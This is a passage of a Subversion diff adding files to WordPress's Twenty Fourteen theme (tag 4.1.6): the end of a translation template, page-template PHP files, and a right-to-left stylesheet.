+#: content-video.php:37 content.php:38 inc/widgets.php:194
+msgid "1 Comment"
+msgstr ""
+
+#: content-aside.php:37 content-audio.php:37 content-gallery.php:37
+#: content-image.php:37 content-link.php:37 content-quote.php:37
+#: content-video.php:37 content.php:38 inc/widgets.php:194
+msgid "% Comments"
+msgstr ""
+
+#: content-aside.php:40 content-audio.php:40 content-gallery.php:40
+#: content-image.php:40 content-link.php:40 content-page.php:28
+#: content-quote.php:40 content-video.php:40 content.php:42 image.php:34
+#: page-templates/contributors.php:35
+msgid "Edit"
+msgstr ""
+
+#. translators: %s: Name of current post
+#: content-aside.php:48 content-audio.php:48 content-gallery.php:48
+#: content-image.php:48 content-link.php:48 content-quote.php:48
+#: content-video.php:48 content.php:56 inc/template-tags.php:219
+msgid "Continue reading %s <span class=\"meta-nav\">&rarr;</span>"
+msgstr ""
+
+#: content-aside.php:53 content-audio.php:53 content-gallery.php:53
+#: content-image.php:53 content-link.php:53 content-page.php:22
+#: content-quote.php:53 content-video.php:53 content.php:61 image.php:54
+msgid "Pages:"
+msgstr ""
+
+#: content-none.php:12
+msgid "Nothing Found"
+msgstr ""
+
+#: content-none.php:18
+msgid ""
+"Ready to publish your first post? <a href=\"%1$s\">Get started here</a>."
+msgstr ""
+
+#: content-none.php:22
+msgid ""
+"Sorry, but nothing matched your search terms. Please try again with some "
+"different keywords."
+msgstr ""
+
+#: content-none.php:27
+msgid ""
+"It seems we can&rsquo;t find what you&rsquo;re looking for. Perhaps "
+"searching can help."
+msgstr ""
+
+#. #-#-#-#-#  twentyfourteen.pot (Twenty Fourteen 1.3)  #-#-#-#-#
+#. Author URI of the plugin/theme
+#: footer.php:21
+msgid "http://wordpress.org/"
+msgstr ""
+
+#: footer.php:21
+msgid "Proudly powered by %s"
+msgstr ""
+
+#: functions.php:83
+msgid "Top primary menu"
+msgstr ""
+
+#: functions.php:84
+msgid "Secondary menu in left sidebar"
+msgstr ""
+
+#: functions.php:171
+msgid "Primary Sidebar"
+msgstr ""
+
+#: functions.php:173
+msgid "Main sidebar that appears on the left."
+msgstr ""
+
+#: functions.php:180
+msgid "Content Sidebar"
+msgstr ""
+
+#: functions.php:182
+msgid "Additional sidebar that appears on the right."
+msgstr ""
+
+#: functions.php:189
+msgid "Footer Widget Area"
+msgstr ""
+
+#: functions.php:191
+msgid "Appears in the footer section of the site."
+msgstr ""
+
+#: functions.php:213
+msgctxt "Lato font: on or off"
+msgid "on"
+msgstr ""
+
+#: functions.php:258
+msgid "Previous"
+msgstr ""
+
+#: functions.php:259
+msgid "Next"
+msgstr ""
+
+#: functions.php:376
+msgid "%d Article"
+msgid_plural "%d Articles"
+msgstr[0] ""
+msgstr[1] ""
+
+#: functions.php:495
+msgid "Page %s"
+msgstr ""
+
+#: header.php:48
+msgid "Search"
+msgstr ""
+
+#: header.php:52
+msgid "Primary Menu"
+msgstr ""
+
+#: header.php:53
+msgid "Skip to content"
+msgstr ""
+
+#: image.php:65
+msgid "Previous Image"
+msgstr ""
+
+#: image.php:66
+msgid "Next Image"
+msgstr ""
+
+#: inc/back-compat.php:37 inc/back-compat.php:47 inc/back-compat.php:60
+msgid ""
+"Twenty Fourteen requires at least WordPress version 3.6. You are running "
+"version %s. Please upgrade and try again."
+msgstr ""
+
+#: inc/customizer.php:24
+msgid "Site Title Color"
+msgstr ""
+
+#: inc/customizer.php:27
+msgid "Display Site Title &amp; Tagline"
+msgstr ""
+
+#: inc/customizer.php:31 inc/customizer.php:32
+msgid "May only be visible on wide screens."
+msgstr ""
+
+#: inc/customizer.php:34 inc/customizer.php:35
+msgid "Background may only be visible on wide screens."
+msgstr ""
+
+#: inc/customizer.php:40 inc/featured-content.php:403
+msgid "Featured Content"
+msgstr ""
+
+#: inc/customizer.php:41 inc/featured-content.php:404
+msgid ""
+"Use a <a href=\"%1$s\">tag</a> to feature your posts. If no posts match the "
+"tag, <a href=\"%2$s\">sticky posts</a> will be displayed instead."
+msgstr ""
+
+#: inc/customizer.php:42 inc/customizer.php:108 inc/featured-content.php:405
+#: inc/featured-content.php:414 inc/featured-content.php:474
+msgctxt "featured content default tag slug"
+msgid "featured"
+msgstr ""
+
+#: inc/customizer.php:56
+msgid "Layout"
+msgstr ""
+
+#: inc/customizer.php:60
+msgid "Grid"
+msgstr ""
+
+#: inc/customizer.php:61
+msgid "Slider"
+msgstr ""
+
+#. #-#-#-#-#  twentyfourteen.pot (Twenty Fourteen 1.3)  #-#-#-#-#
+#. Theme Name of the plugin/theme
+#: inc/customizer.php:105
+msgid "Twenty Fourteen"
+msgstr ""
+
+#: inc/customizer.php:108
+msgid ""
+"The home page features your choice of up to 6 posts prominently displayed in "
+"a grid or slider, controlled by a <a href=\"%1$s\">tag</a>; you can change "
+"the tag and layout in <a href=\"%2$s\">Appearance &rarr; Customize</a>. If "
+"no posts match the tag, <a href=\"%3$s\">sticky posts</a> will be displayed "
+"instead."
+msgstr ""
+
+#: inc/customizer.php:109
+msgid ""
+"Enhance your site design by using <a href=\"%s\">Featured Images</a> for "
+"posts you&rsquo;d like to stand out (also known as post thumbnails). This "
+"allows you to associate an image with your post without inserting it. Twenty "
+"Fourteen uses featured images for posts and pages&mdash;above the "
+"title&mdash;and in the Featured Content area on the home page."
+msgstr ""
+
+#: inc/customizer.php:110
+msgid ""
+"For an in-depth tutorial, and more tips and tricks, visit the <a href=\"%s"
+"\">Twenty Fourteen documentation</a>."
+msgstr ""
+
+#: inc/featured-content.php:426
+msgid "Tag Name"
+msgstr ""
+
+#: inc/featured-content.php:431
+msgid "Don&rsquo;t display tag on front end."
+msgstr ""
+
+#: inc/template-tags.php:50
+msgid "&larr; Previous"
+msgstr ""
+
+#: inc/template-tags.php:51
+msgid "Next &rarr;"
+msgstr ""
+
+#: inc/template-tags.php:58
+msgid "Posts navigation"
+msgstr ""
+
+#: inc/template-tags.php:85
+msgid "Post navigation"
+msgstr ""
+
+#: inc/template-tags.php:89
+msgid "<span class=\"meta-nav\">Published In</span>%title"
+msgstr ""
+
+#: inc/template-tags.php:91
+msgid "<span class=\"meta-nav\">Previous Post</span>%title"
+msgstr ""
+
+#: inc/template-tags.php:92
+msgid "<span class=\"meta-nav\">Next Post</span>%title"
+msgstr ""
+
+#: inc/template-tags.php:109
+msgid "Sticky"
+msgstr ""
+
+#: inc/widgets.php:34
+msgid "Twenty Fourteen Ephemera"
+msgstr ""
+
+#: inc/widgets.php:36
+msgid ""
+"Use this widget to list your recent Aside, Quote, Video, Audio, Image, "
+"Gallery, and Link posts."
+msgstr ""
+
+#: inc/widgets.php:54 taxonomy-post_format.php:33
+msgid "Images"
+msgstr ""
+
+#: inc/widgets.php:55
+msgid "More images"
+msgstr ""
+
+#: inc/widgets.php:58 taxonomy-post_format.php:36
+msgid "Videos"
+msgstr ""
+
+#: inc/widgets.php:59
+msgid "More videos"
+msgstr ""
+
+#: inc/widgets.php:62 taxonomy-post_format.php:39
+msgid "Audio"
+msgstr ""
+
+#: inc/widgets.php:63
+msgid "More audio"
+msgstr ""
+
+#: inc/widgets.php:66 taxonomy-post_format.php:42
+msgid "Quotes"
+msgstr ""
+
+#: inc/widgets.php:67
+msgid "More quotes"
+msgstr ""
+
+#: inc/widgets.php:70 taxonomy-post_format.php:45
+msgid "Links"
+msgstr ""
+
+#: inc/widgets.php:71
+msgid "More links"
+msgstr ""
+
+#: inc/widgets.php:74 taxonomy-post_format.php:48
+msgid "Galleries"
+msgstr ""
+
+#: inc/widgets.php:75
+msgid "More galleries"
+msgstr ""
+
+#: inc/widgets.php:79 taxonomy-post_format.php:30
+msgid "Asides"
+msgstr ""
+
+#: inc/widgets.php:80
+msgid "More asides"
+msgstr ""
+
+#: inc/widgets.php:127 inc/widgets.php:172
+msgid "Continue reading <span class=\"meta-nav\">&rarr;</span>"
+msgstr ""
+
+#: inc/widgets.php:162
+msgid "This gallery contains <a href=\"%1$s\" rel=\"bookmark\">%2$s photo</a>."
+msgid_plural ""
+"This gallery contains <a href=\"%1$s\" rel=\"bookmark\">%2$s photos</a>."
+msgstr[0] ""
+msgstr[1] ""
+
+#. translators: used with More archives link
+#: inc/widgets.php:206
+msgid "%s <span class=\"meta-nav\">&rarr;</span>"
+msgstr ""
+
+#: inc/widgets.php:255
+msgid "Title:"
+msgstr ""
+
+#: inc/widgets.php:258
+msgid "Number of posts to show:"
+msgstr ""
+
+#: inc/widgets.php:261
+msgid "Post format to show:"
+msgstr ""
+
+#: search.php:18
+msgid "Search Results for: %s"
+msgstr ""
+
+#: tag.php:22
+msgid "Tag Archives: %s"
+msgstr ""
+
+#. Theme URI of the plugin/theme
+msgid "http://wordpress.org/themes/twentyfourteen"
+msgstr ""
+
+#. Description of the plugin/theme
+msgid ""
+"In 2014, our default theme lets you create a responsive magazine website "
+"with a sleek, modern design. Feature your favorite homepage content in "
+"either a grid or a slider. Use the three widget areas to customize your "
+"website, and change your content's layout with a full-width page template "
+"and a contributor page to show off your authors. Creating a magazine website "
+"with WordPress has never been easier."
+msgstr ""
+
+#. Author of the plugin/theme
+msgid "the WordPress team"
+msgstr ""
+
+#. Template Name of the plugin/theme
+msgid "Contributor Page"
+msgstr ""
+
+#. Template Name of the plugin/theme
+msgid "Full Width Page"
+msgstr ""
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/page-templates/contributors.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/page-templates/contributors.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/page-templates/contributors.php	(revision 33402)
@@ -0,0 +1,52 @@
+<?php
+/**
+ * Template Name: Contributor Page
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+get_header(); ?>
+
+<div id="main-content" class="main-content">
+
+<?php
+	if ( is_front_page() && twentyfourteen_has_featured_posts() ) {
+		// Include the featured content template.
+		get_template_part( 'featured-content' );
+	}
+?>
+
+	<div id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+			<?php
+				// Start the Loop.
+				while ( have_posts() ) : the_post();
+			?>
+
+			<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+				<?php
+					the_title( '<header class="entry-header"><h1 class="entry-title">', '</h1></header><!-- .entry-header -->' );
+
+					// Output the authors list.
+					twentyfourteen_list_authors();
+
+					edit_post_link( __( 'Edit', 'twentyfourteen' ), '<footer class="entry-meta"><span class="edit-link">', '</span></footer>' );
+				?>
+			</article><!-- #post-## -->
+
+			<?php
+					// If comments are open or we have at least one comment, load up the comment template.
+					if ( comments_open() || get_comments_number() ) {
+						comments_template();
+					}
+				endwhile;
+			?>
+		</div><!-- #content -->
+	</div><!-- #primary -->
+</div><!-- #main-content -->
+
+<?php
+get_sidebar();
+get_footer();
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/page-templates/full-width.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/page-templates/full-width.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/page-templates/full-width.php	(revision 33402)
@@ -0,0 +1,42 @@
+<?php
+/**
+ * Template Name: Full Width Page
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+get_header(); ?>
+
+<div id="main-content" class="main-content">
+
+<?php
+	if ( is_front_page() && twentyfourteen_has_featured_posts() ) {
+		// Include the featured content template.
+		get_template_part( 'featured-content' );
+	}
+?>
+
+	<div id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+			<?php
+				// Start the Loop.
+				while ( have_posts() ) : the_post();
+
+					// Include the page content template.
+					get_template_part( 'content', 'page' );
+
+					// If comments are open or we have at least one comment, load up the comment template.
+					if ( comments_open() || get_comments_number() ) {
+						comments_template();
+					}
+				endwhile;
+			?>
+		</div><!-- #content -->
+	</div><!-- #primary -->
+</div><!-- #main-content -->
+
+<?php
+get_sidebar();
+get_footer();
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/page.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/page.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/page.php	(revision 33402)
@@ -0,0 +1,48 @@
+<?php
+/**
+ * The template for displaying all pages
+ *
+ * This is the template that displays all pages by default.
+ * Please note that this is the WordPress construct of pages and that
+ * other 'pages' on your WordPress site will use a different template.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Fourteen
+ * @since Twenty Fourteen 1.0
+ */
+
+get_header(); ?>
+
+<div id="main-content" class="main-content">
+
+<?php
+	if ( is_front_page() && twentyfourteen_has_featured_posts() ) {
+		// Include the featured content template.
+		get_template_part( 'featured-content' );
+	}
+?>
+	<div id="primary" class="content-area">
+		<div id="content" class="site-content" role="main">
+
+			<?php
+				// Start the Loop.
+				while ( have_posts() ) : the_post();
+
+					// Include the page content template.
+					get_template_part( 'content', 'page' );
+
+					// If comments are open or we have at least one comment, load up the comment template.
+					if ( comments_open() || get_comments_number() ) {
+						comments_template();
+					}
+				endwhile;
+			?>
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+	<?php get_sidebar( 'content' ); ?>
+</div><!-- #main-content -->
+
+<?php
+get_sidebar();
+get_footer();
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/rtl.css
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyfourteen/rtl.css	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyfourteen/rtl.css	(revision 33402)
@@ -0,0 +1,854 @@
+/*
+Theme Name: Twenty Fourteen
+Description: Adds support for languages written in a Right To Left (RTL) direction.
+It's easy, just a matter of overwriting all the horizontal positioning attributes
+of your CSS stylesheet in a separate stylesheet file named rtl.css.
+
+See http://codex.wordpress.org/Right_to_Left_Language_Support
+*/
+
+/**
+ * Table of Contents:
+ *
+ * 1.0 - Reset
+ * 2.0 - Repeatable Patterns
+ * 4.0 - Header
+ * 5.0 - Navigation
+ * 6.0 - Content
+ *   6.3 - Entry Meta
+ *   6.4 - Entry Content
+ *   6.5 - Galleries
+ *   6.7 - Post/Image/Paging Navigation
+ *   6.10 - Contributor Page
+ *   6.14 - Comments
+ * 7.0 - Sidebar
+ *   7.1 - Widgets
+ *   7.2 - Content Sidebar Widgets
+ * 9.0 - Featured Content
+ * 10.0 - Media Queries
+ * -----------------------------------------------------------------------------
+ */
+
+
+/**
+ * 1.0 Reset
+ * -----------------------------------------------------------------------------
+ */
+
+body {
+	direction: rtl;
+	unicode-bidi: embed;
+}
+
+a {
+	display: inline-block;
+}
+
+ul,
+ol {
+	margin: 0 20px 24px 0;
+}
+
+li > ul,
+li > ol {
+	margin: 0 20px 0 0;
+}
+
+caption,
+th,
+td {
+	text-align: right;
+}
+
+
+/**
+ * 2.0 Repeatable Patterns
+ * -----------------------------------------------------------------------------
+ */
+
+.wp-caption-text {
+	padding-left: 10px;
+	padding-right: 0;
+}
+
+.screen-reader-text:focus {
+	right: 5px;
+	left: auto;
+}
+
+
+/**
+ * 4.0 Header
+ * -----------------------------------------------------------------------------
+ */
+
+.site-title {
+	float: right;
+}
+
+.search-toggle {
+	float: left;
+	margin-left: 38px;
+	margin-right: auto;
+}
+
+.search-box .search-field {
+	float: left;
+	padding: 1px 6px 2px 2px;
+}
+
+.search-toggle .screen-reader-text {
+	right: 5px; /* Avoid a horizontal scrollbar when the site has a long menu */
+	left: auto;
+}
+
+
+/**
+ * 5.0 Navigation
+ * -----------------------------------------------------------------------------
+ */
+
+.site-navigation ul ul {
+	margin-right: 20px;
+	margin-left: auto;
+}
+
+.menu-toggle {
+	right: auto;
+	left: 0;
+}
+
+
+/**
+ * 6.0 Content
+ * -----------------------------------------------------------------------------
+ */
+
+/**
+ * 6.3 Entry Meta
+ * -----------------------------------------------------------------------------
+ */
+
+.entry-meta .tag-links a {
+	margin: 0 10px 4px 4px;
+}
+
+.entry-meta .tag-links a:before {
+	border-right: 0;
+	border-left: 8px solid #767676;
+	right: -7px;
+	left: auto;
+}
+
+.entry-meta .tag-links a:hover:before,
+.entry-meta .tag-links a:focus:before {
+	border-left-color: #41a62a;
+}
+
+.entry-meta .tag-links a:after {
+	right: -2px;
+	left: auto;
+}
+
+
+/**
+ * 6.4 Entry Content
+ * -----------------------------------------------------------------------------
+ */
+
+.page-links a,
+.page-links > span {
+	margin: 0 0 2px 1px;
+}
+
+.page-links > .page-links-title {
+	padding-right: 0;
+	padding-left: 7px;
+}
+
+
+/**
+ * 6.5 Galleries
+ * -----------------------------------------------------------------------------
+ */
+
+.gallery-item {
+	float: right;
+	margin: 0 0 4px 4px;
+}
+
+.gallery-columns-1 .gallery-item:nth-of-type(1n),
+.gallery-columns-2 .gallery-item:nth-of-type(2n),
+.gallery-columns-3 .gallery-item:nth-of-type(3n),
+.gallery-columns-4 .gallery-item:nth-of-type(4n),
+.gallery-columns-5 .gallery-item:nth-of-type(5n),
+.gallery-columns-6 .gallery-item:nth-of-type(6n),
+.gallery-columns-7 .gallery-item:nth-of-type(7n),
+.gallery-columns-8 .gallery-item:nth-of-type(8n),
+.gallery-columns-9 .gallery-item:nth-of-type(9n) {
+	margin-right: auto;
+	margin-left: 0;
+}
+
+.gallery-caption {
+	padding: 6px 8px;
+	right: 0;
+	left: auto;
+	text-align: right;
+}
+
+.gallery-caption:before {
+	right: 0;
+	left: auto;
+}
+
+
+/**
+ * 6.7 Post/Image/Paging Navigation
+ * -----------------------------------------------------------------------------
+ */
+
+.paging-navigation .page-numbers {
+	margin-right: auto;
+	margin-left: 1px;
+}
+
+
+/**
+ * 6.10 Contributor Page
+ * -----------------------------------------------------------------------------
+ */
+
+.contributor-avatar {
+	float: right;
+	margin: 0 0 20px 30px;
+}
+
+
+/**
+ * 6.14 Comments
+ * -----------------------------------------------------------------------------
+ */
+
+.comment-author .avatar {
+	right: 0;
+	left: auto;
+}
+
+.bypostauthor > article .fn:before {
+	margin: 0 -2px 0 2px;
+}
+
+.comment-author,
+.comment-awaiting-moderation,
+.comment-content,
+.comment-list .reply,
+.comment-metadata {
+	padding-right: 30px;
+	padding-left: 0;
+}
+
+.comment-edit-link {
+	margin-right: 10px;
+	margin-left: auto;
+}
+
+.comment-reply-link:before,
+.comment-reply-login:before {
+	margin-left: auto;
+	margin-right: 2px;
+}
+
+.comment-reply-link:before,
+.comment-reply-login:before,
+.comment-edit-link:before {
+	-webkit-transform: scaleX(-1);
+	-moz-transform:    scaleX(-1);
+	-ms-transform:     scaleX(-1);
+	-o-transform:      scaleX(-1);
+	transform:         scaleX(-1);
+}
+
+.comment-content ul,
+.comment-content ol {
+	margin: 0 22px 24px 0;
+}
+
+.comment-list .children {
+	margin-right: 15px;
+	margin-left: auto;
+}
+
+.comment-reply-title small a {
+	float: left;
+}
+
+.comment-navigation .nav-previous a {
+	margin-right: auto;
+	margin-left: 10px;
+}
+
+
+/**
+ * 7.0 Sidebars
+ * -----------------------------------------------------------------------------
+ */
+
+/**
+ * 7.1 Widgets
+ * -----------------------------------------------------------------------------
+ */
+
+.widget li > ol,
+.widget li > ul {
+	margin-right: 10px;
+	margin-left: auto;
+}
+
+.widget input,
+.widget textarea {
+	padding: 1px 4px 2px 2px;
+}
+
+.widget_calendar caption {
+	text-align: right;
+}
+
+.widget_calendar #prev {
+	padding-right: 5px;
+	padding-left: 0;
+}
+
+.widget_calendar #next {
+	padding-right: 0;
+	padding-left: 5px;
+	text-align: left;
+}
+
+.widget_twentyfourteen_ephemera .entry-content ul,
+.widget_twentyfourteen_ephemera .entry-content ol {
+	margin: 0 20px 18px 0;
+}
+
+.widget_twentyfourteen_ephemera .entry-content li > ul,
+.widget_twentyfourteen_ephemera .entry-content li > ol {
+	margin: 0 20px 0 0;
+}
+
+
+/**
+ * 7.2 Content Sidebar Widgets
+ * -----------------------------------------------------------------------------
+ */
+
+.content-sidebar .widget li > ol,
+.content-sidebar .widget li > ul {
+	margin-right: 18px;
+	margin-left: auto;
+}
+
+.content-sidebar .widget_twentyfourteen_ephemera .widget-title:before {
+	margin: -1px 0 0 18px;
+}
+
+
+/**
+ * 9.0 Featured Content
+ * -----------------------------------------------------------------------------
+ */
+
+.featured-content .post-thumbnail img {
+	right: 0;
+	left: auto;
+}
+
+.slider-viewport {
+	direction: ltr;
+}
+
+.slider .featured-content .entry-header {
+	right: 0;
+	left: auto;
+	text-align: right;
+}
+
+.slider-control-paging {
+	float: right;
+}
+
+.slider-control-paging li {
+	float: right;
+	margin: 2px 0 2px 4px;
+}
+
+.slider-control-paging li:last-child {
+	margin-right: auto;
+	margin-left: 0;
+}
+
+.slider-control-paging a:before {
+	right: 10px;
+	left: auto;
+}
+
+.slider-direction-nav li {
+	border-width: 2px 0 0 1px;
+	float: right;
+}
+
+.slider-direction-nav li:last-child {
+	border-width: 2px 1px 0 0;
+}
+
+.slider-direction-nav a:before {
+	content: "\f429";
+}
+
+.slider-direction-nav .slider-next:before {
+	content: "\f430";
+}
+
+
+/**
+ * 10.0 Media Queries
+ * -----------------------------------------------------------------------------
+ */
+
+@media screen and (max-width: 400px) {
+	.list-view .site-content .post-thumbnail img {
+		float: right;
+		margin: 0 0 3px 10px;
+	}
+}
+
+@media screen and (min-width: 401px) {
+	.site-content .entry-meta > span {
+		margin-right: auto;
+		margin-left: 10px;
+	}
+
+	.site-content .format-quote .post-format a:before {
+		margin-right: auto;
+		margin-left: 2px;
+	}
+
+	.site-content .format-gallery .post-format a:before {
+		margin-right: auto;
+		margin-left: 4px;
+	}
+
+	.site-content .format-aside .post-format a:before {
+		margin-right: auto;
+		margin-left: 2px;
+	}
+
+	.site-content .featured-post:before {
+		margin-right: auto;
+		margin-left: 3px;
+	}
+
+	.site-content .entry-date a:before,
+	.attachment .site-content span.entry-date:before {
+		margin-right: auto;
+		margin-left: 1px;
+	}
+
+	.site-content .comments-link a:before {
+		margin-right: auto;
+		margin-left: 2px;
+	}
+
+	.site-content .full-size-link a:before {
+		margin-right: auto;
+		margin-left: 1px;
+	}
+
+	.entry-content .edit-link a:before,
+	.entry-meta .edit-link a:before {
+		-webkit-transform: scaleX(-1);
+		-moz-transform:    scaleX(-1);
+		-ms-transform:     scaleX(-1);
+		-o-transform:      scaleX(-1);
+		transform:         scaleX(-1);
+	}
+}
+
+@media screen and (min-width: 594px) {
+	.site-content .entry-header {
+		padding-right: 30px;
+		padding-left: 30px;
+	}
+}
+
+@media screen and (min-width: 673px) {
+	.search-toggle {
+		margin-right: auto;
+		margin-left: 18px;
+	}
+
+	.content-area {
+		float: right;
+	}
+
+	.site-content {
+		margin-right: auto;
+		margin-left: 33.33333333%;
+	}
+
+	.archive-header,
+	.comments-area,
+	.image-navigation,
+	.page-header,
+	.page-content,
+	.post-navigation,
+	.site-content .entry-content,
+	.site-content .entry-summary,
+	.site-content footer.entry-meta {
+		padding-right: 30px;
+		padding-left: 30px;
+	}
+
+	.full-width .site-content {
+		margin-left: 0;
+	}
+
+	.content-sidebar {
+		float: left;
+		margin-right: -33.33333333%;
+		margin-left: auto;
+	}
+
+	.grid .featured-content .hentry {
+		float: right;
+	}
+
+	.slider-control-paging {
+		padding-right: 20px;
+		padding-left: 0;
+	}
+
+	.slider-direction-nav {
+		float: left;
+	}
+
+	.slider-direction-nav li {
+		padding: 0 0 0 1px;
+	}
+
+	.slider-direction-nav li:last-child {
+		padding: 0 1px 0 0;
+	}
+}
+
+@media screen and (min-width: 783px) {
+	.header-main {
+		padding-right: 30px;
+		padding-left: 0;
+	}
+
+	.search-toggle {
+		margin-right: auto;
+		margin-left: 0;
+	}
+
+	.primary-navigation {
+		float: left;
+		margin: 0 -12px 0 1px;
+	}
+
+	.primary-navigation ul ul {
+		float: right;
+		margin: 0;
+		right: -999em;
+		left: auto;
+	}
+
+	.primary-navigation ul ul ul {
+		right: -999em;
+		left: auto;
+	}
+
+	.primary-navigation ul li:hover > ul,
+	.primary-navigation ul li.focus > ul {
+		right: auto;
+	}
+
+	.primary-navigation ul ul li:hover > ul,
+	.primary-navigation ul ul li.focus > ul {
+		right: 100%;
+		left: auto;
+	}
+
+	.primary-navigation .menu-item-has-children > a,
+	.primary-navigation .page_item_has_children > a {
+		padding-right: 12px;
+		padding-left: 26px;
+	}
+
+	.primary-navigation .menu-item-has-children > a:after,
+	.primary-navigation .page_item_has_children > a:after {
+		right: auto;
+		left: 12px;
+	}
+
+	.primary-navigation li .menu-item-has-children > a,
+	.primary-navigation li .page_item_has_children > a {
+		padding-right: 12px;
+		padding-left: 20px;
+	}
+
+	.primary-navigation .menu-item-has-children li.menu-item-has-children > a:after,
+	.primary-navigation .menu-item-has-children li.page_item_has_children > a:after,
+	.primary-navigation .page_item_has_children li.menu-item-has-children > a:after,
+	.primary-navigation .page_item_has_children li.page_item_has_children > a:after {
+		content: "\f503";
+		right: auto;
+		left: 8px;
+	}
+}
+
+@media screen and (min-width: 810px) {
+	.attachment .entry-attachment .attachment {
+		margin-right: -168px;
+		margin-left: -168px;
+	}
+
+	.attachment .entry-attachment .attachment a {
+		display: block;
+	}
+
+	.contributor-avatar {
+		margin-right: -168px;
+		margin-left: auto;
+	}
+
+	.contributor-summary {
+		float: right;
+	}
+
+	.full-width .site-content blockquote.alignright,
+	.full-width .site-content img.size-full.alignright,
+	.full-width .site-content img.size-large.alignright,
+	.full-width .site-content img.size-medium.alignright,
+	.full-width .site-content .wp-caption.alignright {
+		margin-right: -168px;
+		margin-left: auto;
+	}
+
+	.full-width .site-content blockquote.alignleft,
+	.full-width .site-content img.size-full.alignleft,
+	.full-width .site-content img.size-large.alignleft,
+	.full-width .site-content img.size-medium.alignleft,
+	.full-width .site-content .wp-caption.alignleft {
+		margin-right: auto;
+		margin-left: -168px;
+	}
+}
+
+@media screen and (min-width: 846px) {
+	.comment-author,
+	.comment-awaiting-moderation,
+	.comment-content,
+	.comment-list .reply,
+	.comment-metadata {
+		padding-right: 50px;
+		padding-left: 0;
+	}
+
+	.comment-list .children {
+		margin-right: 20px;
+		margin-left: auto;
+	}
+}
+
+@media screen and (min-width: 1008px) {
+	.search-box-wrapper {
+		padding-right: 182px;
+		padding-left: 0;
+	}
+
+	.main-content {
+		float: right;
+	}
+
+	.site-content {
+		margin-right: 182px;
+		margin-left: 29.04761904%;
+	}
+
+	.full-width .site-content {
+		margin-right: 182px;
+	}
+
+	.content-sidebar {
+		margin-right: -29.04761904%;
+		margin-left: auto;
+	}
+
+	.site:before {
+		right: 0;
+		left: auto;
+	}
+
+	#secondary {
+		float: right;
+		margin: 0 -100% 0 0;
+	}
+
+	.secondary-navigation ul ul {
+		right: -999em;
+		left: auto;
+	}
+
+	.secondary-navigation ul li:hover > ul,
+	.secondary-navigation ul li.focus > ul {
+		right: 162px;
+		left: auto;
+	}
+
+	.secondary-navigation .menu-item-has-children > a {
+		padding-right: 30px;
+		padding-left: 38px;
+	}
+
+	.secondary-navigation .menu-item-has-children > a:after {
+		border-right-color: #fff;
+		border-left-color: transparent;
+		right: auto;
+		left: 26px;
+		content: "\f503";
+	}
+
+	.footer-sidebar .widget {
+		float: right;
+	}
+
+	.featured-content {
+		padding-right: 182px;
+		padding-left: 0;
+	}
+}
+
+@media screen and (min-width: 1040px) {
+	.archive-header,
+	.comments-area,
+	.image-navigation,
+	.page-header,
+	.page-content,
+	.post-navigation,
+	.site-content .entry-header,
+	.site-content .entry-content,
+	.site-content .entry-summary,
+	.site-content footer.entry-meta {
+		padding-right: 15px;
+		padding-left: 15px;
+	}
+
+	.full-width .archive-header,
+	.full-width .comments-area,
+	.full-width .image-navigation,
+	.full-width .page-header,
+	.full-width .page-content,
+	.full-width .post-navigation,
+	.full-width .site-content .entry-header,
+	.full-width .site-content .entry-content,
+	.full-width .site-content .entry-summary,
+	.full-width .site-content footer.entry-meta {
+		padding-right: 30px;
+		padding-left: 30px;
+	}
+}
+
+@media screen and (min-width: 1080px) {
+	.site-content {
+		margin-right: 222px;
+		margin-left: 29.04761904%;
+	}
+
+	.full-width .site-content {
+		margin-right: 222px;
+	}
+
+	.search-box-wrapper,
+	.featured-content {
+		padding-right: 222px;
+		padding-left: 0;
+	}
+
+	.secondary-navigation ul li:hover > ul,
+	.secondary-navigation ul li.focus > ul {
+		right: 202px;
+		left: auto;
+	}
+
+	.slider-control-paging {
+		padding-right: 24px;
+		padding-left: 0;
+	}
+
+	.slider-control-paging li {
+		margin: 12px 0 12px 12px;
+	}
+
+	.slider-control-paging a:before {
+		right: 6px;
+		left: auto;
+	}
+}
+
+@media screen and (min-width: 1110px) {
+	.archive-header,
+	.comments-area,
+	.image-navigation,
+	.page-header,
+	.page-content,
+	.post-navigation,
+	.site-content .entry-header,
+	.site-content .entry-content,
+	.site-content .entry-summary,
+	.site-content footer.entry-meta {
+		padding-right: 30px;
+		padding-left: 30px;
+	}
+}
+
+@media screen and (min-width: 1218px) {
+	.archive-header,
+	.comments-area,
+	.image-navigation,
+	.page-header,
+	.page-content,
+	.post-navigation,
+	.site-content .entry-header,
+	.site-content .entry-content,
+	.site-content .entry-summary,
+	.site-content footer.entry-meta {
+		margin-left: 54px;
+	}
+
+	.full-width .archive-header,
+	.full-width .comments-area,
+	.full-width .image-navigation,
+	.full-width .page-header,
+	.full-width .page-content,
+	.full-width .post-navigation,
+	.full-width .site-content .entry-header,
+	.full-width .site-content .entry-content,
+	.full-width .site-content .entry-summary,
+	.full-width .site-content footer.entry-meta {
+		margin-right: auto;
+		margin-left: auto;
+	}
+}
+
+@media screen and (min-width: 1260px) {
+	.site-content blockquote.alignright {
+		margin-right: -18%;
+		margin-left: auto;
+	}
+
+	.site-content blockquote.alignleft {
+		margin-left: -18%;
+		margin-right: auto;
+	}
+}
Index: /tags/4.1.6/src/wp-content/themes/twentyfourteen/search.php
===================================================================
